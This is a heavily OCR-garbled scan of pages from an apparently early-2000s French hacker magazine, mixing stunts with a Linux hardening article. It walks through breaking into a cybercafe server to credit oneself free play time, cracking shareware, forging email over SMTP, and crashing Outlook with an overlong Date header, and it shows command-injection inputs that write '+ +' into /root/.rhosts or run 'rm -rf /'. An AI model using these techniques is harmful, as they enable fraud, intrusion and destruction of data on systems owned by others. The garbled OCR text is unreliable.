‘Tout le monde connait ces salles qui permetteént
le jeu en réseau via le net. La plupart du temps,
ces salles sont ciblées ou connectées a1'ADSL
dans les grandes villes.

Done, tuvas en tant que simple personne qui veut jouer
peinard et ru te cales an fond de la salle. La, ru
chopes I'IP de 'ordi, tu vires les protections et tu
fais en sorte que le piratage a la «Bonni» marche
(voir HZV n°1)

Ensuite, tu rentres peinard chez toi, tu te cale devanc
ton ordi et tu Touvres une bonne biére et tu te com-
mandeune pizza aver un extrade fromage. Tu faisdone
le pirarage bonni et une foissurl'ordidelasalle, rulance
les commandes ms-dos (etlaa devientplus chaud) ou
tu joue de chez toi avec res pores qui sonc li-bas. Si
tu veux aller plus loin, tu fais un»necstar -r» sous
dos pour avoir 'Tp du serveur principal.

Ensuite tu te connectes sous le Hd (et la fo pas faire
bonni, enfin ru peux essayer mais ca marche pas
souvent, fo faire d'autres maniéres un peu p]us}l,
Une fois sur le hd du serveur, ma cherches la base de
données oi1 y 2 les pseudo et ke temps. 5'ils ont mis

Bien entendu, faut pas
se rajouter 30 heures
d'un coup, sinon tu te
fais demask.

un pass, tu le désassembles aver un bon édireur
hexadécimal et la tu te rajoutes le temps que tu
veux. Yoild voila.

Bien enrendu, faur pas se rajouter d uncoup 30hsinon,
tu te Fais demask. . Tu te mets 4 ou 5h et tu paies|
une fois tous les mois pour faire style car sit'y va
tous les jours et que tu paies jamais, ru te fais
demask. En plus,leurs IP change pascarilssonral'AD-
SL ou au cible...

Réagir 2 ce papier, écrire 3 cerealikiller : voice@dmp-
france.com

m
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wwwiPlanble hacking
wosrt, wild, way

A I'école de la piraterie
on n’apprend pas.... On se bat ! !

INITIATION AU GRAKING

Il existe deux facons de « déplomber » un logiciel :

Deux actes de pirateries faciles a réaliser avec
une simple DREAMCAST

Comment les pirates utilisent leur console pour
i/Envoyer des fake mails

http:/isitefacile.com on te demandera teés coordonnées et on t'impase-
raun nom d'identifiant et un mot de passe. Cela te permer d'envoyer
des mails anonymes ou fake.

Un webmaster propose aussi d'envoyer des mails anonyme pour
insulter des Forces cfe l'ardre sur son site sale-flic.fr.fm C'est égale-
ment sur ce dernier que l'onfpzut trouver par exemple l'adresse offi-
cielle du Ler ministre. Son chefdes opérations répond aa rousles e-mails
apparemment. Restez polis.

2/Envoyer des fax gratos aux entreprises

la premiere, en utilisant un désassembleur
et un éditeur hexadécimal;

la seconde & U'aide d'un débuggeur.

A part ifrance.com person-
nen'estcapablede fournirun
site qui permerte d'envoyer
des fax gratos. Comme ifran-

Vous avez peut-étre déja, en toute illé-
galiré, téléchargé sur interner des cracks,
ces perits programmes qui transforment
un logiciel shareware en version com-
plete, quivirentles limitations de temps...,
bref qui vous permettent d'avoir grarui-
temenr un logiciel compler i parrir de sa
version limitée.

Peut-étre avez-vous eu égalementenvie de
comprendre comment font les pirates pour
cracker ces logiciels. D'abord, vous devez
savoir quiilexiste plusieurs langages de pro-
grammation, comme le C/C++, le pas-
cal, le basic, I'assembleur...

Mais pour le crack, un seul va vous ser-
vir :l'assemblenr! Pasd.epnl:,c’es: celui qui
est considéré comme le plus difficile. En
fait, hormis le binaire, c’est le langage le
plus proche de la machine : n'importe
quellangage sera traduiren « ASM « (abré-
viation de assembleur) par le compila-
reur. Et¢a, c'est trés bien, car on va pouvoir
rravailler n'importe quel programme en
ASM.

1l existe deux fagons de « déplombersun
logiciel : la premiére, en utilisant un
désassembleur et un éditeur hexadéci-
mal; la seconde 4 l'aide d'un débuggeur.

Pour démarrer, nous ne verrons que la pre-
miére,

Un désassembleur permet de traduire
un fichier en assembleur.

Le meilleur est Win3 2dasm v8.9 (= WIN-
dows 32bits DésASseMbleur, version 8.9).
Une fois que les pirates ont trouvé, grice
4 ce programme, les endroits 4 modifier
pour cracker le logiciel, ils ne peuvent
pas pour autant le modifier directement
11l leur faudra pour cela un éditeur hexa-
décimal ! De cecété-l4, il enexiste une mul-
titude, par exemple, Hexedir.

Juste pourinformation, un débuggeur per-
met de suivre pas i pas I'exécurion d'un
logiciel, pour trouver 3 quel moment ilvéri-
fie un code, regzrdc si on est enregistré,
etc... Tout se passe également en assem-
bleur.

INTRO A WIN32DASM
Cayest,vousavez téléchargé Win32dasm
(disponible sur www.chey.fr.st).

Vous allez maintenant le configurer, etvoir
son fonctionnement.

Tout d'abord, rrouvez un fichier « .exe «
de petite raille (quelques ko), pour qu'il
soit rapide 4 désassembler : aucuneimpor-
rance pour son utilité, c'est juste pour vous
familiariser avec Win32dasm. Puis ouvrez
‘Win32dasmv8.9, et dans lemenu « Disas-
sembler « choisissez « Open File To Desas-
semble « afin d’ouvrir ce fichier. Non, ce
n'est pas du Russe, c'est de "agsem-
bleur...

Vous vous rendrez compte que la police
par défaur n'est pas coujours rrés lisible :
cliquez sur « Disassembler/Fonr/Select
Font « et sélecrionnez une police plus
pratique, en faisant atrention i ce que le
texte en vert s'affiche entiérement. Je
conseille Terminal, raille 12. Ensuite cli-
qUEZ SUF« Disassembler/Fonr/Save défaur
font « afin que certe police soit choisie
par défaur aux prochaines utilisations.
Vous remarquerez que laplupart des lignes
(passez les lignes du début) sont sépa-
rées en 3 parties

- I'adresse de la ligne

- 'hexadécimal

- le code en assembleur

Ex: 00401104 EB89 jmp
004011F1 adresse hexa  ASM

Ici, nous nous trouvons i la ligne 00401104,
EB89 est la correspondance hexadéci-
male de jmp, qui est en assembleur un
saut inconditionnel 4 la ligne 004011F1.
Mais nous aborderons cela plus en dérail

une autre fois..

INTRO A HEXEDIT
OQuvrez avechexedit leméme fichier quavec
Win32dasm. Vous allez repérer une
ligne dans le désassembleur, puisreleversa
r\'m'.ie hexadécimale et également la partie
hexadécimale des 3 ou 4 lignes suivances.
Retournez sous l'éditeur hexadéeimal, faites
Crrl+F et tapez i la suire tout ce que
vous avez relevé précédemment, avec un
espace tous les deux caractéres, en mode
Hex.Ex:EB89056E 7TFA3 D3 B24FFl...
Cliquez sur « find next «, puis recliquez
pour vérifier que la chaine hexadécimale
n'existe pas plusieurs fois dans le pro-
gramme. Si c'est la cas, rajoutez encore
Thexadécimal d'une ligne sous Win32dasm,
sinon vous avez trouvé la ligne que vous
cherchiez ! Il ne vous reste plus qu'a
comprendre comment le pirate trouve
leslignes i modifier pour venira bour d'une
protection basique, ce que nous verrons
la prochaine fois |

Djtek

ceet fnac.com estinaccessible
aux dreameast du fair dujam-
cripr, Il ne reste plus qu’
Ismap.com. Mais on ne pear
envoyer de fax quaux entre-
prises. Crestunsite accessible
aux dreamcast. On mémo-
risedirectement dans ses favo-
ris les E:.ges d'envois déji
prétes. Lesadresses font 2km
de long mais quel conforr...

Un site a visiter sur le sujet :
htip:/fwww.frederic. com@2.com

X Falre planter n'importe
quel poste Windows (NT
ou non)

Voici comment procéder
En premiere ligne des données,
entrez

Date: Thu, 13 Jun 2000 12:33:16

Attention & I'arnaque

Le jeu Toy Racer On Line
NEDOIT JAMAIS ETRE VENDU
PLUS DE 69,00FF

Si vous le voyez plus cher, il s"agit d'une
arnague. Informez-nous.

Il faut savoir qu'au départ ce jeu est une
bonne action (j"en vois qui rigolent) de la
part de Sega car ils ne se prennent aucu-
ne marge ce qui fait gu'il est normale-
ment impossible de trouver ce jeu a plus
de 69F. Or certains magasins pew scrupu-
leux le vendent au prix d'un jeu ordinaire
jusgu’a 390F, soit 320 balles sur le dos
des jousurs mal informés. 10F vont 2 une
association pourentants. Le reste pour I'édi-
teur et la distribution.

8i cetle pratigue honteuse ne cesse pas,
HZV publiera dans son prochain numéro
la liste des magasins concernés.

JC B¢ 3¢ 2C JC R ¢ OC N X T X

FACILE AVEC OUTLOOK :

Date: Thu, 13 Jun 2000 12:33:16[espa-
ce]
+ 1 0000000o0COOCOUOOO0000O000000C00N.

woonoooootoosx|entrée] [entrée]
/f Il n'y a pas de retour a la ligne
]

+100000ocoonooNocoouUoNucsoucDDx. [entrée

Bye Bye

buffer overflow.

Qutlook ne faic pas de bound-chec-
liing sur ceten-téte et seravictimed'un

—i/End fj—
Cela suffit pour bloquer tous les
outlook victimes de cetre faille |

Maintenant passons au code arbitraire.

Les plus malins poutrront mettre du
code arbitraire 4 la place des x ou
aller chercher un exploit tout fait
sur le net (voir netographie page2)
Yeap !

X Empécher guelgu'un de
lire son courrier

Pour utiliser cette faille en tant que
DOS (empécher la personne de lire
sqn:nurricr:a.ntqu'eljeuﬂ]iseraOn:-
look), il suffit de caper:

—i/ Begin //—

telnet smtp.your-fai.com 25

HELOD mail.msn.com

MAIL FROM:williamgates@msn.com
RCPT TO:<lamer@lamerland.com>
DATA

Je ne vais pas faire un cours la-des-
sus, pour tout savoir il y en a deux:

* Tao of the buffer averflow by Dil-
dog - Sur Windows, disponible sur
www.cultdeadcow.com

* Smashing the stack for fun & pro-
fiy by Aleph One - Unix, disponible
sur phrak

Bien sir ils sont en anglais...

Pour une démo en attaché (>500ko)
cherchez «Outlook exploits sur
neworder.box.sk.

xleygnus@xcalc.or,
Signé cygnus (A hacker does for
love whar others wouldn't do for

money)
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EXCLUSIF : HZV est en mesure de révéler I'existence d’un projet de la NSA
visant a permettre I'espionnage de n’importe quel écran non protégé, n’impor-
te ou dans le monde.

TEMPEST " |a nouvelle machine infernale de la NSA permet déja
de lire ce qu'il y a sur votre écran 4 travers les murs
et jusqu'a 1 kilometre de distance ! 1!

ASSUreZ-VOUS 0N en est encore
. aux balbutiements, mais les
risques potentiels en matiére
de sécurité sont énormes.
Tout ordinateur dégage des ondes élec-
tro-magnétiques, notamment le cible
reliant I'écran 2 I'UC. Ces ondes ayant
une vitesse d’horloge fixe (en mégahertz)
sont particuliérement riches en signaux
non-intentionnels et surtout occupe une
portion non négligeable du spectre élec-
tromagnétique. En clair et en deux mots.
Certains services américains bien connus
de nos lectears ont d'ores et déja mis au
point des capteurs permettant de récu-
pérer a distance ce qui s"affiche sur un
écran. En cas d’ordinateur particuliére-
ment non protégé, le signal peut étre
capté jusqu'a... 1 kilométre de distance.
Encore une fois rassurez-vous ce n'est
pas demain qu'on vous fera le coup a
Bourg-en-bresse. Mais vous trouverez
peut-étre utiles les conseils ci-dessous
pour vous protéger de ce genre de
E.B.alllerie.
Un niveau zéro d'émissions non inten-
tionnelles est impoasible a réalises, cepen-
dant cerraines mesures pratigues
permettent de diminuer ladistance desécu-
rité du kilométres 2 seulement quelques
métres, Gageons que si la camionnette
de la DST doit se trouver dans votre
jardin plutér qu'a un kilomérre pour
pouvoir dupliquer votre écran, vous la
remarquerez plus facilement,

1. Viérifiez que tout ves périphériques sont
de classe B (cest écrit dessus), La classe
A, plus commune, n'offre quasiment aucu-
ne protection, laclasse B n'émetcant quand
aelle gqu'un dixiéme du rayonnement
des classes A.

Nota : tout constructewr en fonction du numé-
ra de série (FCC ID) vous dira si le périphé-
rigue cst de classe A ou B.

2. N'utilisez que des cibles blindes, sur-
tour entre I'écran et 'UC, Moins ils
seront blindés et courts et plus ils auront
un réle ficheux d'antenne émetrice.

3. Je sais que votre ordinareur refroidit
beaucoup mieux sans la capot (certaines
cartes méres étant méme résistantes aux
chutes de gobelets de café i l'intérienr
de la machine si on arrache le cible d'ali-
mentation assez vite).

4. Surprotéger le cible d'alimentation ;
la plupart desalims (méme les taiwanaises)
ontun filtre EMIintégré, mais celui-cinest
as suffisant. Nous conseillons le modé-
475-3 de Industrial Communicarion
Engineers, Lrd (Indianapolis) qui réduic
les émissions d'un facreur 1000.

8.1 escables RJ45 reliant votre modem/fax
ou cable ou ADSL sont particuliére-
ment peu protégés (et serventd‘antennes).
K-COM (USA) en construit des conve-

nables,

MAIS il faur savoir que méme si vorre
machine n'est pas connectée directe-
ment sur le réseau eéléphonique, celui-ci
peut tout de méme servir d'antenne de
retransmission.

2 solutions. Eloigner I'ordinareur de
quelques métres du réseau téléphonique.
D’accord dans vorre srudio c'est pas
franchement possible. Resre la derniere
solution, qui non seulement offre une pro-
tecrionimporeante mais également confé-
rera i vorre machine ou votre studio
une rouche d’originalité enviable, c'est la
cage de Faraday. Tout le monde sait qu'a
I'intérieur d'une voirure reposant sur
des pneus donc isolée du sol on peur
érre frappé par la foudre aucant que l'on
veur sans craindre la moindre blessure,
la voiture fait cage de Faraday et isole
son contenu. Le méme principe estici rete-
nupour isoler vos émissionsintempestives.
Il s'agit d'entourer (cotalement) son sys-
teme d'une grille conductrice : trois
principes :

- le syscéme doit écre totalement entou-
ré (ateention de laisser libre les flux d'air
refroidissants)

- la cage doir érre isoléc du sol (plas-
rique)

- la cage ne doit pas toucher une partie
meérallique de votre systéme.

Moi j'ai préféré mercre du papier Albala
la place du papier peint chezmoi, ca marche
trés bien, sauf que ca fait un peu mal a
la tére quand on allume la lumiére.

Pour énerver e FBI, vous pouvez pas-
ser la journée & les appeler en mauvais
anglais sur ce numéro de téléphone
gratuit. Pour |es énerver encore plus,
demander leur s'ils sonl au courant de
Ia technologie Tempest. Et pour les

énerver carrément, dites que vous avez
trouvé leur numéro dans Hackerz
Volce.

NUMERO VERT DU FBI :
0800 90 10 19

Enfin, tous ces conseils neserviraiencirien
sionne pouvairmesurer leur cfficacité, c'est
4 direla propension de votre systéme infor-
matique 4 émertre cesinformationsintem-
pestives. Pour ce faire pas la peine de se
faire embaucher par le EB.I et de rame-
ner leur matériel discréros chezvousle soir,
il vous suffit d'une boussole. Laiguille
aimantée est par définition sensible aux

iques. Elle vous servira donc
bien a4 mesurer les émissions de 'UC, de
I'écran et des autres périphériques ainsi
quel'effet devos protection enfonctionde
la distance entre la boussole er le reste
du matériel.

Merci i John Young qui a légalement
forcé la NSA 4 lui cransmettre les docu-
ments quinous permettent aujourd hui de
diffuser cetre informacion.

SIMPLE ET RAPIDE

Carte BancarerJ 1101 I
expreen | 1/ 1[]

Adresse postale:

Code postal : (11110 Tvine:

Date :

Recevez chez vous HACKERZ VOICE,

Abonnez vous PAR TELEPHONE AVEC VOTRE CB AU (140210120

OO o000 Oobo

Signature :

90 Frs les 6 numéros, soit 15 Frs le numéro

ou REGLEMENT PAR CHEQUE DE 90 FRANCS A LORDRE DE DMP (& renvoyez avec ce coupon & DMP, 1Villa du clos de Mallevart 75011 Paris)

nom: 11000000000 00000000CCIC UL erénom : [
OOOO0O0000O000o0oooOooononoooodoaooonto
OO00o0ooO000O0000000000o0000000000000000000000
NOOo0o0NO00000000000000000000004a0nn

o o o o
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By Prof

Tout (vraiment) Savoir Sur Linux .

SECURISER SON LINUX

lors, il faut savoir que la pre-
miére chose que va faire un
Hacker va étre de scanner
votre machine afin de voir
' quels sont les parts d'ou-
vert, et ainsi de déerminer les services qui
tournent sur votre machine. Quand je
scan une bécane et que je vois le porr 21
d'ouvert par exemple, la premiére chose
que je vais faire est de lancer finger sur les
noms d'urilisateurs les plus courants{ceci
est valable pour tous les os si le 21 est areri-
bué au service finger, au fair, pour les
lamerz de nombreux clients de troyens
font certe foncrion comme Socker23 qui
Fing les ports !JMon bur érant dans un
premier d'obrenir de l'informations sur la
cible afin de trouver ce a quoi elle est vul-
nérable(Les failles pour les neuneus). Plus
il y a de pore ouverr, plus il y a de service
qui tourne, donc logiquement plus il y a
de possibilité d'exploir... Et il est trés
simple de se procurer rous les exploits
recensés sur un systéme en moins de 2
minutes ! Aller par exemple sur fep.tech-
notronic.com.ll vous faue donc restreindre
les services au minimums dont vous avez
besoins, pour cela éditez /etc/inetd.conf
et mettez un # devant roures les lignes des
services qui ne vous intéressent pas.
Relancez inetd ( killall -HUP inetd ).
Voili déja une bonne chose de faice, ce nfest
bien sur pas suffisant. De nombreux
scanner tres utilisés comme sscan ou
exscan(Satan pour ceux qui connaissent
marche que sur Unix mais des variantes
existent sur Linux—>Saint) pour Unix
avouenturiliser les messages apparaissant
lors d'une connexion sur un service. Par
exemple sur dans de nombreuses diseri-
butions linux, les messages par défauc
de rel service annonce le systéme d'ex-
ploitation utilisé, sa version, ainsi que le
numéro dukernel utilisé! (par exemple tel-
net www.server.com 25 vous donnera la
versiondusendmail de www.server.Com).

A

Detelles informations sontcruciales pour
un pirates, car uniguement a partir de

cela il peut gagner un root survotre machi-

neen allant chercher un quelconqueexploits
marchane survorre systéme sivous ne l'avez
pas patcher ; d'ol1 'incéréc d'aller cher-
cher tous les correcrifs surles sites'officiels
et de s'abonner au liste de diffusion rela-
tant de sécurité informatique.
Enadoptantcette conduite vous serezaver-
ti en méme temps que les hackers et
méme si le correctif n'est pas sorti vous
pourrez au moins désactiver provisoire-
ment le service valnérable.

## NOTE ##

Jetc/issue pour modifier le message
d’arriver,

## EON ##

Assurer vous d'utiliser une version récen-
te des services ou prenez au moins la
peine de les parcher. Vérifier que tous
les compees par défaut offrant des privi-
léges root sone bien verrouiller Fun i
dans le deuxiéme champs dans les fichiers
fetc/passwdou /etc/shadow pourlinux ),
Au pire changer les mots de pass. !!! Uri-
lisez des passwd complexes, alliant chiffre
et lertres 11!

Trouver des passwd qui ne sont pas des
dico de pass. Avec la commande chmod,
assurét vous que le maximum de fichiers
inutile au simple users ne leurs sont pas
accessibles, pas méme en lecrurel

## NOTE ##

Il vous parait peut étre inutile de cacher
/bin, cependantsachezquacest essentiel !
Ce n'est pas la peine de se donner du
mal acachervotre os si vous permettez aux
simple user deledéterminer. D'autant plus
sivousoffrez uncompte pardéfaut comme
anonymous (frp dans le fichier passwd).
Dans unetelle situation, jeme logen simple
user,jed/lun fichier de /bin (Is par exemple)
et je dérermine pour quel systémeila
été compilé.

## EON ##

Ca ne suffit pas encore !! Si vous offrez
un service cﬁ: page web, assurez-vous
que herp nest pas lancer en rant que
root. Encore plus si vous exécurez des scripts
cgi! Et encore encore

environnements Gnome et KDE.
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SLACKWARE 4.0

(ie sais pas 5'il y a de nouvelles versions)
La Slackware est directement dérivée de SLS, qui etait
|'une voire la toule premidre distribution de Linux. Il
ne s’agit pas du tout d'un entreprise commerciale
mais, comme dans le cas de |a Debian, d'une affaire
de bénévales. Les mises a jours ne sont danc pas fré-
quentes. Cependant, avec I'annonce de |a version 4. 0,
la Slackware se met au goit du jour. Cette évolution
ravira certainement les nombreux aficionados de cette
distribution qui sont souvent des adeptes de Linux de
Ia premiére heure. Au niveau des paquetages, la

Slackware fail dans lasimplicitd puisqu'il s'agit juste

d’une compression au format TGZ. Cette version |
4.0 devrait inclure un noyau 2.2, la dernidre ver-
sion du serveur graphigue X Free ainsi que les

plus si vous créez vos
proprescriprcgi!"avais
envisager i une époque
demetrreadispositions
les nombreux arricles
relatant de sécurité que
je posséde. Pour ne pas
avoir 4 faire des pages
web avec des liens et
un descripeif de cha-
cun des articles, je vou-
lais merrre un scriprogi,
qui aurait recherché
les fichiers dans les-

quelles auraitété pré-
T sent le mor taper
parlesvisiteursde
mapage. Pourcela
je comprais ucili-
ser un script perl
faisant appel au

(o

A

shell de cette manié-
re :system(«grep $mor-
chercher
Jhome/sauron/docu-
ments/»); Un appelsys-
téeme réalisé de telle
maniétre peut s'avérer
trés trés dangereux si
hrepd est lancé en tant
que roor, en fair il offre
unshella quiveur!Bien
que l'urilisateur n'ai
qu'une pageweb sousles
yeux avec un champ
pour marguer les mots
i rechercher, il peur
effectuer nimportequel-
le commande sur le sys-
téme si l'utilisation des
mMEracaracteres n'est pas
blogué dans le scripr.
Dans le shell, on peut
effecruer deux com-
mande sur une méme
ligne en les séparant par
un poincvirgule,dansle
champ de la page web,
on pourrait tromper le serveur en entrant
ceci dans le champ :
hack ; echo « + + & »> [root/rhose par
exemple ou ljjm ; rm -rf / pour formater
tout lesystem 1! Voici pkilne fo pas uriliser
de script cgi si hrepd est lancer en rant
que root, Bien sur, toures les failles csli
ne sont pas lié a cette commande en petl.
Lafoncrionsytroopy() en C provoque éga-
lement une faille c'est pk il Faur uriliser sten-
copy(),et ﬂyenaemdutas.jeconm’ll:
lescan hackboard fait par kosak pour win-
dows ( isecurelabs.com ) ou celuiriven
de zorgon pour linux ( zorgon.free-
shell.org ). Bien sur, uniquementenatten-
danrle miens ;oD (Nd ad-tonnouw; paraitra
dans allianX jespére...)
Afinde sécuriser votresysteme il vous faut
absolument empécher les erackers d'ab-
renir de l'info.sur votre systeme, WHOIS,
host, la command expn dans sendmail,
EChnss
j:neva.isJJu détailler chacune desmarches
1 suivre,d'autant que cerrains l'one déja fait
[ aller voir www.multimania.com/ouah)
Tl esc difficile de se protéger du ecp fin-
gerprinting qui permettra i lattaquant
de savoir quel systéme vous utilisez en
envoyant des paquers spécifiques et enana-
lysant [a réponse, variable d'un systéme
al'autres
Faites bien actention i vous protéger du
spoofing en ne faisant confiance a aucun
systéme!! Mémesiunamiaune Ipeonsran-
re et que vous voulez lui donner des pri-
viléges root, neluidonner pasacces irlogin,
offrez lui un shell en telnet avec un pass
compliqué !
Ceci pour deux raisons :
-8i votre amis se Faisant lui méme hacker,
vous comEmmemvorrc systéme puisque
son cracker pourra avoir également un
shell root sur votre machine, er ce, sans
que vous vous en rendiez compte, puis-
qu‘a vos yeux, c'est vorre ami gni est

=

m

SUSE 6.1

(—>J e sais pas i il y a une nouvelle version de Suse
La distribution SUSE est d’origine allemande. Etant
disponible dans de nombreuses langues, elle a rapide-
menl eu une grande popularité, particulirementen Euro-
pe. La demire version, |a 6.1, intdgre le noyau 2.2.5
de linux. Le programme d'installation est particulidre-
ment bientait ettraduit en frangais. Il s'agit la aussid'une
distribution fondée sur des paguetages RPM.A noter
toutelols gue certains paguetages prévus pour le Red
Hat ne sero ni pas toujours compatibles avec la Suse.
Auniveau graphigque, elle intégre le serveur X Freed.3.3.1
et les environnements Gnome 1.0 et KDE 1.1, ce der-
nier étant lui aussi d'origine allemande. Cette distribu-
tion est livrée sur 5 CD qui regorgent de programmes
detoules sortes, un peu comme dans e eas duPower Pack
de la Mandrake. On y trouve, par exemple, Wordper-
fect 8 Personal Edition, les versions de démonstration
d'Adabas D{un SGBDR), d'Applixware 4.4.1 (une suite
logicielle), d"Arcad (un logiciel de CAO)et d'Arkeia
{une solution de sauvegarde). La version officielle desuse
6.1 offre un support de 60 jours(plus radin)

connecté !
-De plus, si un Cracker est en mesure
de prévoir vos numéros de séquence, il
flooderavotre ami er se connectera a votre
machine en utilisanr son adresse. Etant
donnetlacomplexiré d'unetelleartaque,
il lancera quelque commande a l'aven-
glettemaisunecho e+ +»>> {root/rhost
est si vite lancé | (¢'est de certe maniére
que Mitnicka piracé son ancien pote Tsu-
tomI Ou 1N truc COMME ca).
Et au cas ou un pirare obriendrair le
roort sur votre machine, installez des
rogrammes qui surveillent si une root-
Eit n’est pas installée par exemple. Ajou-
ter les options -l -L et -0 ala fin de chaque
ligne de inetd.conf pour que vos logs
soitplusimportants. Le must serait d'avoir
un serveur de log distant, méme sur un
réseau local et ot les données sont uni-
quement inscriptible,comme cavorre crac-
ker ne pourra pas effacer son Ip des ::f,
siiln‘apaseffectué uneattaque parrebond !
Voila, je vous ai présenté quelque aspect
de la securité informatique, il y en a
encore de nombreux, mais je ne pre-
tends pas vous apprendre i sécuriser
une machine efficacement mais simple-
menra vous donner les bases, le minimurm.
Je vous conseille également de réléchar-
ger sur le sice de ouah un programme
qui simule de nombreuses vulnérabilité
pour en réalité mieux logger votre pira-
te... Voila, ces quelques astuces découra-
geront les pirares cherchant des machines
facilement vulnérable pour obrenir des shell
et artaquer d'autres machines, mais peut
érre pas les acharner.
N'oubliez pasd'essayer devous piracer, au
moins avec les ourils Ifsrplusutilisés.map
et les aurres pour voir ce que cela donne;
pour savoir quelleinformation obeiendraic
rout individis vous scannant.
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